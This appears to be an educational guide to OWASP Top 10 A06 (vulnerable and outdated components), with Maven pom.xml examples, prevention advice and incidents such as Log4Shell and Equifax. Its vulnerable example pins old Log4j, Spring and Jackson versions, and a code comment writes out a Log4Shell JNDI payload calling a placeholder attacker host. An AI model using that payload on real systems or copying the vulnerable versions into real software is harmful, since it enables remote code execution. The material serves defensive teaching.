OWASP Web Top 10 — A06

Vulnerable & Outdated Components

Using libraries, frameworks, and other software components with known security vulnerabilities is a widespread and critical security issue. When applications rely on outdated dependencies, they inherit all the known vulnerabilities of those components, creating an easy attack vector for malicious actors.

What Are Vulnerable & Outdated Components?

Vulnerable and Outdated Components refers to the use of third-party libraries, frameworks, plugins, or other software modules that contain known security vulnerabilities. This category was introduced as A06 in the OWASP Top 10 2021, reflecting the increasing dependency on open-source and third-party code in modern software development. When applications use components with publicly disclosed vulnerabilities (CVEs), they become susceptible to attacks that exploit these known weaknesses.

The problem arises from several factors: developers may not be aware that a component has vulnerabilities, they may know about vulnerabilities but fail to update due to compatibility concerns or lack of time, or they may not have proper dependency management processes in place. Additionally, transitive dependencies (dependencies of dependencies) can introduce vulnerabilities that are not immediately obvious. Modern applications can have hundreds or thousands of dependencies, making manual tracking virtually impossible without automated tools.

According to the OWASP Top 10 2021, this vulnerability category has become increasingly prevalent as software supply chain attacks have grown more sophisticated. High-profile incidents like Log4Shell and the Equifax breach have demonstrated the catastrophic impact that a single vulnerable component can have. Organizations must implement Software Composition Analysis (SCA) tools, maintain an accurate Software Bill of Materials (SBOM), and establish processes for promptly patching vulnerable dependencies.

How It Works

1
Application uses outdated dependencies

The development team integrates third-party libraries or frameworks into the application. Over time, these dependencies become outdated as new versions are released with security patches. The application continues to use old versions with known vulnerabilities.

2
Vulnerability is publicly disclosed

Security researchers or attackers discover a vulnerability in the component. A CVE (Common Vulnerabilities and Exposures) identifier is assigned, and details about the vulnerability, including affected versions and exploitation techniques, become publicly available.

3
Attacker identifies vulnerable version

Attackers scan target applications to identify the components and versions in use. This can be done by analyzing HTTP headers, JavaScript files, error messages, or publicly accessible files like package.json or pom.xml. Tools like Wappalyzer, Retire.js, or Shodan can automate this process.

4
Exploit is crafted or reused

Once the vulnerable component is identified, the attacker either develops an exploit or uses publicly available exploit code. For well-known vulnerabilities like Log4Shell, exploit code is often widely available on GitHub and hacking forums, making exploitation accessible even to less sophisticated attackers.

5
Attack is executed

The attacker launches the exploit against the vulnerable component. Depending on the vulnerability, this can result in remote code execution, data theft, denial of service, or privilege escalation. The impact can range from minor information disclosure to complete system compromise.

Vulnerable Code Example

Vulnerable — Java / Spring Boot (pom.xml)
<project>
  <modelVersion>4.0.0</modelVersion>
  <groupId>com.example</groupId>
  <artifactId>vulnerable-app</artifactId>
  <version>1.0.0</version>

  <dependencies>
    <!-- VULNERABLE: Log4j 2.14.1 is affected by Log4Shell (CVE-2021-44228)
         This version allows remote code execution through JNDI injection -->
    <dependency>
      <groupId>org.apache.logging.log4j</groupId>
      <artifactId>log4j-core</artifactId>
      <version>2.14.1</version>
    </dependency>

    <!-- VULNERABLE: Old Spring Framework version with known CVEs -->
    <dependency>
      <groupId>org.springframework</groupId>
      <artifactId>spring-core</artifactId>
      <version>5.2.8.RELEASE</version>
    </dependency>

    <!-- VULNERABLE: Jackson Databind with deserialization vulnerabilities -->
    <dependency>
      <groupId>com.fasterxml.jackson.core</groupId>
      <artifactId>jackson-databind</artifactId>
      <version>2.9.8</version>
    </dependency>
  </dependencies>
</project>

// Risk: This application uses multiple components with known CVEs.
// An attacker can exploit Log4Shell by sending a malicious string like:
// ${jndi:ldap://attacker.com/exploit}
// which gets logged and triggers remote code execution.

Secure Code Example

Secure — Java / Spring Boot (Updated Dependencies)
<project>
  <modelVersion>4.0.0</modelVersion>
  <groupId>com.example</groupId>
  <artifactId>secure-app</artifactId>
  <version>1.0.0</version>

  <!-- SECURE: Use Spring Boot BOM for dependency management -->
  <parent>
    <groupId>org.springframework.boot</groupId>
    <artifactId>spring-boot-starter-parent</artifactId>
    <version>3.2.0</version>
  </parent>

  <dependencies>
    <!-- SECURE: Updated Log4j version without Log4Shell vulnerability -->
    <dependency>
      <groupId>org.apache.logging.log4j</groupId>
      <artifactId>log4j-core</artifactId>
      <version>2.23.1</version>
    </dependency>

    <!-- SECURE: Latest Spring Framework (managed by parent) -->
    <dependency>
      <groupId>org.springframework.boot</groupId>
      <artifactId>spring-boot-starter-web</artifactId>
      <!-- Version managed by parent BOM -->
    </dependency>

    <!-- SECURE: Updated Jackson (managed by parent) -->
    <dependency>
      <groupId>com.fasterxml.jackson.core</groupId>
      <artifactId>jackson-databind</artifactId>
      <!-- Version managed by parent BOM -->
    </dependency>
  </dependencies>

  <build>
    <plugins>
      <!-- SECURE: Use OWASP Dependency Check to scan for vulnerabilities -->
      <plugin>
        <groupId>org.owasp</groupId>
        <artifactId>dependency-check-maven</artifactId>
        <version>9.0.9</version>
        <executions>
          <execution>
            <goals>
              <goal>check</goal>
            </goals>
          </execution>
        </executions>
      </plugin>
    </plugins>
  </build>
</project>

// Best practices:
// - Use dependency management (BOM) to ensure consistent versions
// - Regularly update dependencies to latest stable versions
// - Automate vulnerability scanning in CI/CD pipeline
// - Subscribe to security advisories for critical components

Types

Known CVE Exploitation

The most common attack vector involves exploiting publicly disclosed vulnerabilities with assigned CVE identifiers. Attackers scan applications to identify components with known vulnerabilities, then use available exploit code or proof-of-concepts. Examples include Log4Shell (CVE-2021-44228) in Log4j, Spring4Shell (CVE-2022-22965), and the Apache Struts RCE (CVE-2017-5638) that led to the Equifax breach. These attacks are particularly dangerous because exploit code becomes widely available shortly after disclosure.

Dependency Confusion / Supply Chain

Supply chain attacks target the software distribution mechanism itself. Dependency confusion exploits how package managers resolve dependencies by uploading malicious packages with the same name as internal packages to public repositories. Typosquatting involves creating packages with names similar to popular libraries (e.g., reqeusts instead of requests). The event-stream npm incident (2018) demonstrated how legitimate packages can be compromised when maintainers transfer ownership or add malicious contributors.

Transitive Dependency Risks

Transitive dependencies (dependencies of your dependencies) introduce vulnerabilities that are not directly visible in your project's dependency declarations. A secure top-level package might depend on a vulnerable nested package several levels deep. Tools like npm audit, mvn dependency:tree, or pip-audit are essential for discovering these hidden risks. Modern dependency graphs can be extremely complex, with a single application potentially having thousands of transitive dependencies, each representing a potential attack surface.

Impact

The impact of using vulnerable components can be catastrophic, potentially affecting not just a single application but entire organizations and their customers. The severity depends on the nature of the vulnerability and the privileges of the compromised component.

Remote code execution

Many component vulnerabilities allow attackers to execute arbitrary code on the server. Log4Shell is a prime example, where a single malicious log entry could trigger remote code execution. This gives attackers complete control over the affected system, enabling them to install backdoors, steal data, or pivot to other systems.

Data breaches and theft

Vulnerable components can expose sensitive data through information disclosure vulnerabilities or by providing attackers with unauthorized access to databases and file systems. The Equifax breach, caused by an unpatched Apache Struts vulnerability, resulted in the exposure of personal information of 147 million people.

Supply chain compromise

When attackers successfully inject malicious code into widely-used components, they can compromise thousands of downstream applications simultaneously. The SolarWinds attack demonstrated how a single compromised component in a trusted supply chain could affect thousands of organizations, including government agencies.

Denial of service and system instability

Some vulnerabilities in components can be exploited to cause application crashes, consume excessive resources, or create infinite loops. Even without data theft, these attacks can disrupt business operations, damage reputation, and result in significant financial losses.

Prevention Checklist

Implement Software Composition Analysis (SCA)

Use automated SCA tools like Snyk, Dependabot, OWASP Dependency-Check, or WhiteSource to continuously monitor dependencies for known vulnerabilities. Integrate these tools into your CI/CD pipeline to catch vulnerable components before they reach production. Configure tools to fail builds when high-severity vulnerabilities are detected.

Maintain a Software Bill of Materials (SBOM)

Create and maintain an accurate inventory of all components, including transitive dependencies. Tools like CycloneDX or SPDX can generate SBOMs automatically. This visibility is critical for quickly identifying affected systems when new vulnerabilities are disclosed and for compliance with emerging regulations.

Automate dependency updates

Use tools like Dependabot, Renovate, or Greenkeeper to automatically create pull requests when dependency updates are available. Establish a policy for promptly reviewing and merging security patches. Balance security with stability by using automated testing to verify that updates don't break functionality.

Conduct regular dependency audits

Perform periodic manual reviews of all dependencies to identify unused or unnecessary components that can be removed. Use commands like npm audit, pip-audit, or cargo audit regularly. Remove deprecated or unmaintained dependencies and replace them with actively maintained alternatives.

Use version pinning and lock files

Pin specific dependency versions using lock files (package-lock.json, Pipfile.lock, Gemfile.lock) to ensure consistent builds and prevent unexpected updates. This also helps in auditing and tracking which versions are deployed in production. However, don't let pinned versions become stale—regularly update and re-pin.

Monitor security advisories and CVE databases

Subscribe to security mailing lists, GitHub security advisories, and CVE feeds for components you use. Establish a rapid response process for critical vulnerabilities. Follow security researchers and organizations on platforms like Twitter or Mastodon to stay informed about emerging threats and zero-day vulnerabilities.

Real-World Examples

2021

Log4Shell (Apache Log4j)

CVE-2021-44228, known as Log4Shell, was a critical remote code execution vulnerability in the widely-used Apache Log4j logging library. The vulnerability allowed attackers to execute arbitrary code by submitting a specially crafted string that would be logged. Due to Log4j's ubiquity in Java applications, millions of systems were potentially vulnerable. Security teams worldwide spent weeks patching systems, and exploitation attempts began within hours of disclosure.

2017

Equifax (Apache Struts)

Equifax failed to patch a known vulnerability (CVE-2017-5638) in Apache Struts, a popular Java web framework. Attackers exploited this vulnerability to gain access to Equifax's systems, resulting in one of the largest data breaches in history. The personal information of 147 million people was compromised, including Social Security numbers, birth dates, and addresses. The breach resulted in a $700 million settlement and irreparable damage to Equifax's reputation.

2018

event-stream npm Package

A popular npm package called event-stream, which had millions of downloads, was compromised when its maintainer transferred ownership to a malicious actor. The new maintainer added a dependency that contained code designed to steal cryptocurrency wallet credentials. This incident highlighted the risks of supply chain attacks and the trust placed in open-source maintainers. Thousands of applications were potentially compromised before the malicious code was discovered and removed.

2020

SolarWinds Supply Chain Attack

Attackers compromised SolarWinds' Orion platform build process, injecting malicious code into software updates that were digitally signed and distributed to approximately 18,000 customers, including government agencies and Fortune 500 companies. The attack went undetected for months, demonstrating the devastating potential of supply chain compromises. It led to widespread re-evaluation of software supply chain security practices and increased focus on SBOM and code signing verification.

Ready to Test Your Knowledge?

Put what you have learned into practice. Try identifying and fixing vulnerable component issues in our interactive coding challenges, or explore more security guides to deepen your understanding.